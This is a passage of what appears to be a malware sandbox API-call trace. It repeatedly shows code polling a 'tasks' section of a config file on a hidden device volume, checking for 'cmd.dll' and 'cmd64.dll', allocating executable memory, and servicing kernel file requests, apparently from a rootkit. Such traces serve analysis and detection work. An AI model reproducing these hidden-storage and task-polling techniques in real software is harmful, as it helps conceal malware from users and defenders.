ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.758] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b1e000 [0128.758] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.758] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.758] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.758] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.758] IdePortDispatch () returned 0x103 [0128.758] KeWaitForMutexObject () returned 0x0 [0128.758] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.758] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.758] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.758] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.758] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.758] IdePortDispatch () returned 0x103 [0128.758] KeWaitForMutexObject () returned 0x0 [0128.758] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.758] KeLeaveCriticalRegion () [0128.758] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.759] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.759] KeEnterCriticalRegion () [0128.759] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.759] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.759] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.759] KeLeaveCriticalRegion () [0128.759] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.759] KeEnterCriticalRegion () [0128.759] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.759] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.759] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c016e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.759] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.759] KeLeaveCriticalRegion () [0128.759] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.759] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.759] KeEnterCriticalRegion () [0128.759] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.759] ExFreePoolWithTag (P=0xfffffa8003c000c0, Tag=0x0) [0128.759] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.759] KeLeaveCriticalRegion () [0128.759] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.759] ReleaseMutex (hMutex=0xf0) returned 1 [0128.759] Sleep (dwMilliseconds=0x927c0) [0128.775] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0128.775] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.775] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0128.775] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.775] KeEnterCriticalRegion () [0128.776] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.776] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.776] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.776] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.776] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0128.776] IdePortDispatch () returned 0x103 [0128.776] KeWaitForMutexObject () returned 0x0 [0128.776] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.776] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.776] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.776] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.776] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.776] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfff00 [0128.776] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.776] KeLeaveCriticalRegion () [0128.776] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.776] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.776] KeEnterCriticalRegion () [0128.776] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.776] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.776] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.776] KeLeaveCriticalRegion () [0128.776] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.776] KeEnterCriticalRegion () [0128.776] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.776] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.776] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.776] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.776] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0128.776] IdePortDispatch () returned 0x103 [0128.776] KeWaitForMutexObject () returned 0x0 [0128.777] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.777] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.777] KeLeaveCriticalRegion () [0128.777] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.777] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.777] KeEnterCriticalRegion () [0128.777] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.777] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b23000 [0128.777] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.777] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.777] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.777] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.777] IdePortDispatch () returned 0x103 [0128.777] KeWaitForMutexObject () returned 0x0 [0128.777] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.777] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.777] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.777] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.777] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.777] IdePortDispatch () returned 0x103 [0128.777] KeWaitForMutexObject () returned 0x0 [0128.778] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.778] KeLeaveCriticalRegion () [0128.778] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.778] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.778] KeEnterCriticalRegion () [0128.778] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.778] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.778] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.778] KeLeaveCriticalRegion () [0128.778] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.778] KeEnterCriticalRegion () [0128.778] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.778] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.778] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c01e80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.778] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.778] KeLeaveCriticalRegion () [0128.778] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.778] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.778] KeEnterCriticalRegion () [0128.778] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.778] ExFreePoolWithTag (P=0xfffffa8003bfff00, Tag=0x0) [0128.779] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.779] KeLeaveCriticalRegion () [0128.779] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.779] ReleaseMutex (hMutex=0xf0) returned 1 [0128.779] Sleep (dwMilliseconds=0x927c0) [0128.794] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0128.794] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.794] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0128.794] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.794] KeEnterCriticalRegion () [0128.794] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.794] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.794] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.794] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.794] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0128.794] IdePortDispatch () returned 0x103 [0128.794] KeWaitForMutexObject () returned 0x0 [0128.794] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.794] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.794] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.794] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.794] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.794] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c019d0 [0128.794] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.794] KeLeaveCriticalRegion () [0128.794] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.794] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.794] KeEnterCriticalRegion () [0128.794] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.794] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.794] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.794] KeLeaveCriticalRegion () [0128.795] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.795] KeEnterCriticalRegion () [0128.795] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.795] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.795] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.795] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.795] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0128.795] IdePortDispatch () returned 0x103 [0128.795] KeWaitForMutexObject () returned 0x0 [0128.795] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.795] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.795] KeLeaveCriticalRegion () [0128.795] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.795] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.795] KeEnterCriticalRegion () [0128.795] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.795] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b28000 [0128.795] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.795] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.795] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.795] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.795] IdePortDispatch () returned 0x103 [0128.795] KeWaitForMutexObject () returned 0x0 [0128.796] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.796] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.796] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.796] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.796] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.796] IdePortDispatch () returned 0x103 [0128.796] KeWaitForMutexObject () returned 0x0 [0128.796] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.796] KeLeaveCriticalRegion () [0128.796] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.796] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.796] KeEnterCriticalRegion () [0128.796] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.796] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.796] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.797] KeLeaveCriticalRegion () [0128.797] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.797] KeEnterCriticalRegion () [0128.797] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.797] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.797] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c01390, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.797] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.797] KeLeaveCriticalRegion () [0128.797] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.797] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.797] KeEnterCriticalRegion () [0128.797] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.797] ExFreePoolWithTag (P=0xfffffa8003c019d0, Tag=0x0) [0128.797] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.797] KeLeaveCriticalRegion () [0128.797] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.797] ReleaseMutex (hMutex=0xf0) returned 1 [0128.797] Sleep (dwMilliseconds=0x927c0) [0128.813] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0128.813] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.813] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0128.813] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.813] KeEnterCriticalRegion () [0128.813] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.813] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.813] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.813] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.813] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0128.813] IdePortDispatch () returned 0x103 [0128.813] KeWaitForMutexObject () returned 0x0 [0128.814] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.814] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.814] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.814] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.814] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.814] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c012d0 [0128.814] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.814] KeLeaveCriticalRegion () [0128.814] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.814] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.814] KeEnterCriticalRegion () [0128.814] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.814] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.814] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.814] KeLeaveCriticalRegion () [0128.814] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.814] KeEnterCriticalRegion () [0128.814] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.814] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.814] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.814] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.814] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0128.814] IdePortDispatch () returned 0x103 [0128.814] KeWaitForMutexObject () returned 0x0 [0128.814] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.814] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.814] KeLeaveCriticalRegion () [0128.814] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.815] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.815] KeEnterCriticalRegion () [0128.815] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.815] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b2d000 [0128.815] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.815] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.815] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.815] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.815] IdePortDispatch () returned 0x103 [0128.815] KeWaitForMutexObject () returned 0x0 [0128.815] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.815] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.815] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.815] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.815] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.815] IdePortDispatch () returned 0x103 [0128.815] KeWaitForMutexObject () returned 0x0 [0128.815] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.815] KeLeaveCriticalRegion () [0128.815] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.816] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.816] KeEnterCriticalRegion () [0128.816] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.816] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) 